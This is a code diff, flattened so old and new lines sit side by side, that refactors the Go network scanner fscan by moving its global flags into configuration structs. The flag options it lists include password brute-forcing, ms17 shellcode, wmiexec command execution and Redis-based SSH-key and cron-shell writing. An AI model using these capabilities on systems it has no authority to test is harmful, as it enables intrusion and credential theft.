Passwords = RemoveDuplicate(Passwords) Passwords = RemoveDuplicate(Passwords)
} }
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { if flags.Socks5Proxy != "" && !strings.HasPrefix(flags.Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") { if !strings.Contains(flags.Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy flags.Socks5Proxy = "socks5://127.0.0.1" + flags.Socks5Proxy
} else { } else {
Socks5Proxy = "socks5://" + Socks5Proxy flags.Socks5Proxy = "socks5://" + flags.Socks5Proxy
} }
} }
if Socks5Proxy != "" { if flags.Socks5Proxy != "" {
fmt.Println("Socks5Proxy:", Socks5Proxy) fmt.Println("Socks5Proxy:", flags.Socks5Proxy)
_, err := url.Parse(Socks5Proxy) _, err := url.Parse(flags.Socks5Proxy)
if err != nil { if err != nil {
fmt.Println("Socks5Proxy parse error:", err) fmt.Println("Socks5Proxy parse error:", err)
os.Exit(0) os.Exit(0)
} }
NoPing = true flags.NoPing = true
} }
if Proxy != "" { if flags.Proxy != "" {
if Proxy == "1" { if flags.Proxy == "1" {
Proxy = "http://127.0.0.1:8080" flags.Proxy = "http://127.0.0.1:8080"
} else if Proxy == "2" { } else if flags.Proxy == "2" {
Proxy = "socks5://127.0.0.1:1080" flags.Proxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(Proxy, "://") { } else if !strings.Contains(flags.Proxy, "://") {
Proxy = "http://127.0.0.1:" + Proxy flags.Proxy = "http://127.0.0.1:" + flags.Proxy
} }
fmt.Println("Proxy:", Proxy) fmt.Println("Proxy:", flags.Proxy)
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { if !strings.HasPrefix(flags.Proxy, "socks") && !strings.HasPrefix(flags.Proxy, "http") {
fmt.Println("no support this proxy") fmt.Println("no support this proxy")
os.Exit(0) os.Exit(0)
} }
_, err := url.Parse(Proxy) _, err := url.Parse(flags.Proxy)
if err != nil { if err != nil {
fmt.Println("Proxy parse error:", err) fmt.Println("Proxy parse error:", err)
os.Exit(0) os.Exit(0)
} }
} }
if Hash != "" && len(Hash) != 32 { if flags.Hash != "" && len(flags.Hash) != 32 {
fmt.Println("[-] Hash is error,len(hash) must be 32") fmt.Println("[-] Hash is error,len(hash) must be 32")
os.Exit(0) os.Exit(0)
} else { } else {
var err error var err error
HashBytes, err = hex.DecodeString(Hash) flags.HashBytes, err = hex.DecodeString(flags.Hash)
if err != nil { if err != nil {
fmt.Println("[-] Hash is error,hex decode error") fmt.Println("[-] Hash is error,hex decode error")
os.Exit(0) os.Exit(0)
@ -214,13 +215,13 @@ func ParseInput(Info *HostInfo) {
} }
} }
func ParseScantype(Info *HostInfo) { func ParseScantype(Info *HostInfo, flags *Flags) {
_, ok := PORTList[Scantype] _, ok := PORTList[flags.Scantype]
if !ok { if !ok {
showmode() showmode()
} }
if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport { if flags.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
switch Scantype { switch flags.Scantype {
case "wmiexec": case "wmiexec":
Info.Ports = "135" Info.Ports = "135"
case "wmiinfo": case "wmiinfo":
@ -244,10 +245,10 @@ func ParseScantype(Info *HostInfo) {
case "main": case "main":
Info.Ports = DefaultPorts Info.Ports = DefaultPorts
default: default:
port, _ := PORTList[Scantype] port, _ := PORTList[flags.Scantype]
Info.Ports = strconv.Itoa(port) Info.Ports = strconv.Itoa(port)
} }
fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports) fmt.Println("-m ", flags.Scantype, " start scan the port:", Info.Ports)
} }
} }

View File

@ -23,11 +23,11 @@ var ParseIPErr = errors.New(" host parsing error\n" +
"192.168.1.1-192.168.255.255\n" + "192.168.1.1-192.168.255.255\n" +
"192.168.1.1-255") "192.168.1.1-255")
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string) (hosts []string, err error) {
hosts = ParseIPs(host) hosts = ParseIPs(host)
if filename != "" { if filename != "" {
var filehost []string var filehost []string
filehost, _ = Readipfile(filename) filehost, _ = readipfile(hostPort, filename)
hosts = append(hosts, filehost...) hosts = append(hosts, filehost...)
} }
@ -55,7 +55,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
} }
} }
hosts = RemoveDuplicate(hosts) hosts = RemoveDuplicate(hosts)
if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" { if len(hosts) == 0 && len(*hostPort) == 0 && host != "" && filename != "" {
err = ParseIPErr err = ParseIPErr
} }
return return
@ -115,7 +115,8 @@ func parseIP2(host string) (hosts []string) {
} }
// 解析ip段: 192.168.111.1-255 // 解析ip段: 192.168.111.1-255
// 192.168.111.1-192.168.112.255 //
// 192.168.111.1-192.168.112.255
func parseIP1(ip string) []string { func parseIP1(ip string) []string {
IPRange := strings.Split(ip, "-") IPRange := strings.Split(ip, "-")
testIP := net.ParseIP(IPRange[0]) testIP := net.ParseIP(IPRange[0])
@ -175,19 +176,22 @@ func IPRange(c *net.IPNet) string {
} }
// 按行读ip // 按行读ip
func Readipfile(filename string) ([]string, error) { func readipfile(hostPort *[]string, filename string) ([]string, error) {
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
fmt.Printf("Open %s error, %v", filename, err) fmt.Printf("Open %s error, %v", filename, err)
os.Exit(0) os.Exit(0)
} }
defer file.Close() defer file.Close()
var content []string
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines) scanner.Split(bufio.ScanLines)
var content []string
for scanner.Scan() { for scanner.Scan() {
line := strings.TrimSpace(scanner.Text()) line := strings.TrimSpace(scanner.Text())
if line != "" { if line != "" {
var hosts []string
text := strings.Split(line, ":") text := strings.Split(line, ":")
if len(text) == 2 { if len(text) == 2 {
port := strings.Split(text[1], " ")[0] port := strings.Split(text[1], " ")[0]
@ -195,14 +199,14 @@ func Readipfile(filename string) ([]string, error) {
if err != nil || (num < 1 || num > 65535) { if err != nil || (num < 1 || num > 65535) {
continue continue
} }
hosts := ParseIPs(text[0]) hosts = ParseIPs(text[0])
for _, host := range hosts { for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) *hostPort = append(*hostPort, fmt.Sprintf("%s:%s", host, port))
} }
} else { } else {
host := ParseIPs(line) hosts = ParseIPs(line)
content = append(content, host...)
} }
content = append(content, hosts...)
} }
} }
return content, nil return content, nil

View File

@ -1,6 +1,5 @@
package common package common
var version = "1.8.2"
var Userdict = map[string][]string{ var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"}, "mysql": {"root", "mysql"},
@ -42,16 +41,16 @@ var PORTList = map[string]int{
"main": 0, "main": 0,
} }
var Outputfile = "result.txt"
var IsSave = true var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type HostInfo struct { type HostInfo struct {
Host string Host string
Ports string Ports string
Url string Url string
Infostr []string Infostr []string
HostPort []string // locks like dead varibale, I cannot file initialization of this variable
} }
type PocInfo struct { type PocInfo struct {
@ -60,55 +59,7 @@ type PocInfo struct {
} }
var ( var (
Path string UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Scantype string Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
Command string Cookie string
SshKey string
Domain string
Username string
Password string
Proxy string
Timeout int64 = 3
WebTimeout int64 = 5
TmpSave bool
NoPing bool
Ping bool
Pocinfo PocInfo
IsWebCan bool
IsBrute bool
RedisFile string
RedisShell string
Userfile string
Passfile string
HostFile string
PortFile string
PocPath string
Threads int
URL string
UrlFile string
Urls []string
NoPorts string
NoHosts string
SC string
PortAdd string
UserAdd string
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
Hash string
HashBytes []byte
HostPort []string
IsWmi bool
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
CeyeDomain string
ApiKey string
Cookie string
) )

View File

@ -2,84 +2,118 @@ package common
import ( import (
"flag" "flag"
"runtime"
"runtime/debug"
"time"
) )
func init() { // todo make function
go func() { type Flags struct {
for { Path string
GC() Scantype string
time.Sleep(10 * time.Second) Command string
} SshKey string
}() Domain string
Username string
Password string
Proxy string
Timeout int64
WebTimeout int64
NoPing bool
Ping bool
Pocinfo PocInfo
IsWebCan bool
IsBrute bool
RedisFile string
RedisShell string
Userfile string
Passfile string
HostFile string
PortFile string
PocPath string
Threads int
URL string
UrlFile string
Urls []string
NoPorts string
NoHosts string
SC string
PortAdd string
UserAdd string
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
Hash string
HashBytes []byte
IsWmi bool
PocNum int
PocFull bool
DnsLog bool
} }
func GC() { // todo make function
runtime.GC() type LogConfig struct {
debug.FreeOSMemory() Silent bool
Outputfile string
TmpSave bool
WaitTime int64
} }
func Banner() { type InConfig struct {
banner := ` HostInfo HostInfo
___ _ Flags Flags
/ _ \ ___ ___ _ __ __ _ ___| | __ LogConfig LogConfig
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / Cookie string
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: ` + version + `
`
print(banner)
} }
func Flag(Info *HostInfo) { func Flag(inConfig *InConfig) {
Banner() flag.StringVar(&inConfig.HostInfo.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&inConfig.HostInfo.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") flag.StringVar(&inConfig.Flags.NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") flag.StringVar(&inConfig.Flags.PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") flag.StringVar(&inConfig.Flags.UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") flag.StringVar(&inConfig.Flags.PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") flag.StringVar(&inConfig.Flags.NoPorts, "pn", "", "the ports no scan,as: -pn 445")
flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") flag.StringVar(&inConfig.Flags.Command, "c", "", "exec command (ssh|wmiexec)")
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") flag.StringVar(&inConfig.Flags.SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&Domain, "domain", "", "smb domain") flag.StringVar(&inConfig.Flags.Domain, "domain", "", "smb domain")
flag.StringVar(&Username, "user", "", "username") flag.StringVar(&inConfig.Flags.Username, "user", "", "username")
flag.StringVar(&Password, "pwd", "", "password") flag.StringVar(&inConfig.Flags.Password, "pwd", "", "password")
flag.Int64Var(&Timeout, "time", 3, "Set timeout") flag.Int64Var(&inConfig.Flags.Timeout, "time", 3, "Set timeout")
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") flag.Int64Var(&inConfig.Flags.WebTimeout, "wt", 5, "Set web timeout")
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path") flag.StringVar(&inConfig.Flags.Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.IntVar(&Threads, "t", 600, "Thread nums") flag.StringVar(&inConfig.Flags.Path, "path", "", "fcgi、smb romote file path")
flag.IntVar(&LiveTop, "top", 10, "show live len top") flag.IntVar(&inConfig.Flags.Threads, "t", 600, "Thread nums")
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") flag.IntVar(&inConfig.Flags.LiveTop, "top", 10, "show live len top")
flag.StringVar(&Userfile, "userf", "", "username file") flag.StringVar(&inConfig.Flags.HostFile, "hf", "", "host file, -hf ip.txt")
flag.StringVar(&Passfile, "pwdf", "", "password file") flag.StringVar(&inConfig.Flags.Userfile, "userf", "", "username file")
flag.StringVar(&PortFile, "portf", "", "Port File") flag.StringVar(&inConfig.Flags.Passfile, "pwdf", "", "password file")
flag.StringVar(&PocPath, "pocpath", "", "poc file path") flag.StringVar(&inConfig.Flags.PortFile, "portf", "", "Port File")
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)") flag.StringVar(&inConfig.Flags.PocPath, "pocpath", "", "poc file path")
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)") flag.StringVar(&inConfig.Flags.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul") flag.StringVar(&inConfig.Flags.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") flag.BoolVar(&inConfig.Flags.IsWebCan, "nopoc", false, "not to scan web vul")
flag.IntVar(&BruteThread, "br", 1, "Brute threads") flag.BoolVar(&inConfig.Flags.IsBrute, "nobr", false, "not to Brute password")
flag.BoolVar(&NoPing, "np", false, "not to ping") flag.IntVar(&inConfig.Flags.BruteThread, "br", 1, "Brute threads")
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") flag.BoolVar(&inConfig.Flags.NoPing, "np", false, "not to ping")
flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile") flag.BoolVar(&inConfig.Flags.Ping, "ping", false, "using ping replace icmp")
flag.BoolVar(&TmpSave, "no", false, "not to save output log") flag.StringVar(&inConfig.Flags.URL, "u", "", "url")
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") flag.StringVar(&inConfig.Flags.UrlFile, "uf", "", "urlfile")
flag.BoolVar(&Silent, "silent", false, "silent scan") flag.StringVar(&inConfig.Flags.Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") flag.IntVar(&inConfig.Flags.PocNum, "num", 20, "poc rate")
flag.StringVar(&URL, "u", "", "url") flag.StringVar(&inConfig.Flags.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.StringVar(&UrlFile, "uf", "", "urlfile") flag.StringVar(&inConfig.Flags.Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") flag.StringVar(&inConfig.Flags.SC, "sc", "", "ms17 shellcode,as -sc add")
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") flag.BoolVar(&inConfig.Flags.IsWmi, "wmi", false, "start wmi")
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") flag.StringVar(&inConfig.Flags.Hash, "hash", "", "hash")
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") flag.BoolVar(&inConfig.Flags.PocFull, "full", false, "poc full scan,as: shiro 100 key")
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout") flag.BoolVar(&inConfig.Flags.DnsLog, "dns", false, "using dnslog poc")
flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
flag.IntVar(&PocNum, "num", 20, "poc rate") flag.StringVar(&inConfig.LogConfig.Outputfile, "o", "result.txt", "Outputfile")
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") flag.BoolVar(&inConfig.LogConfig.TmpSave, "no", false, "not to save output log")
flag.BoolVar(&IsWmi, "wmi", false, "start wmi") flag.Int64Var(&inConfig.LogConfig.WaitTime, "debug", 60, "every time to LogErr")
flag.StringVar(&Hash, "hash", "", "hash") flag.BoolVar(&inConfig.LogConfig.Silent, "silent", false, "silent scan")
flag.StringVar(&inConfig.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
flag.Parse() flag.Parse()
} }

View File

@ -2,11 +2,12 @@ package common
import ( import (
"fmt" "fmt"
"github.com/fatih/color"
"os" "os"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/fatih/color"
) )
var Num int64 var Num int64
@ -18,6 +19,7 @@ var LogErrTime int64
var WaitTime int64 var WaitTime int64
var Silent bool var Silent bool
var LogWG sync.WaitGroup var LogWG sync.WaitGroup
var Outputfile string
func init() { func init() {
LogSucTime = time.Now().Unix() LogSucTime = time.Now().Unix()

View File

@ -2,43 +2,47 @@ package common
import ( import (
"errors" "errors"
"golang.org/x/net/proxy"
"net" "net"
"net/url" "net/url"
"strings" "strings"
"time" "time"
"golang.org/x/net/proxy"
) )
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { type Socks5 struct {
d := &net.Dialer{Timeout: timeout} Address string
return WrapperTCP(network, address, d)
} }
func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) { func WrapperTcpWithTimeout(network, address string, socks5Proxy Socks5, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, socks5Proxy, d)
}
func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer) (net.Conn, error) {
//get conn //get conn
var conn net.Conn var conn net.Conn
if Socks5Proxy == "" { if socks5Proxy.Address == "" {
var err error var err error
conn,err = forward.Dial(network, address) conn, err = forward.Dial(network, address)
if err != nil { if err != nil {
return nil, err return nil, err
} }
}else { } else {
dailer, err := Socks5Dailer(forward) dailer, err := Socks5Dailer(forward, socks5Proxy)
if err != nil{ if err != nil {
return nil, err return nil, err
} }
conn,err = dailer.Dial(network, address) conn, err = dailer.Dial(network, address)
if err != nil { if err != nil {
return nil, err return nil, err
} }
} }
return conn, nil return conn, nil
} }
func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) { func Socks5Dailer(forward *net.Dialer, socks5Proxy Socks5) (proxy.Dialer, error) {
u,err := url.Parse(Socks5Proxy) u, err := url.Parse(socks5Proxy.Address)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@ -51,10 +55,10 @@ func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
if u.User.String() != "" { if u.User.String() != "" {
auth = proxy.Auth{} auth = proxy.Auth{}
auth.User = u.User.Username() auth.User = u.User.Username()
password,_ := u.User.Password() password, _ := u.User.Password()
auth.Password = password auth.Password = password
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward) dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
}else { } else {
dailer, err = proxy.SOCKS5("tcp", address, nil, forward) dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
} }

11
main.go
View File

@ -2,17 +2,18 @@ package main
import ( import (
"fmt" "fmt"
"time"
"github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"time"
) )
func main() { func main() {
start := time.Now() start := time.Now()
var Info common.HostInfo var config common.InConfig
common.Flag(&Info) common.Flag(&config)
common.Parse(&Info) common.Parse(&config)
Plugins.Scan(Info) Plugins.Scan(config.HostInfo, config.Flags)
t := time.Now().Sub(start) t := time.Now().Sub(start)
fmt.Printf("[*] 扫描结束,耗时: %s\n", t) fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
} }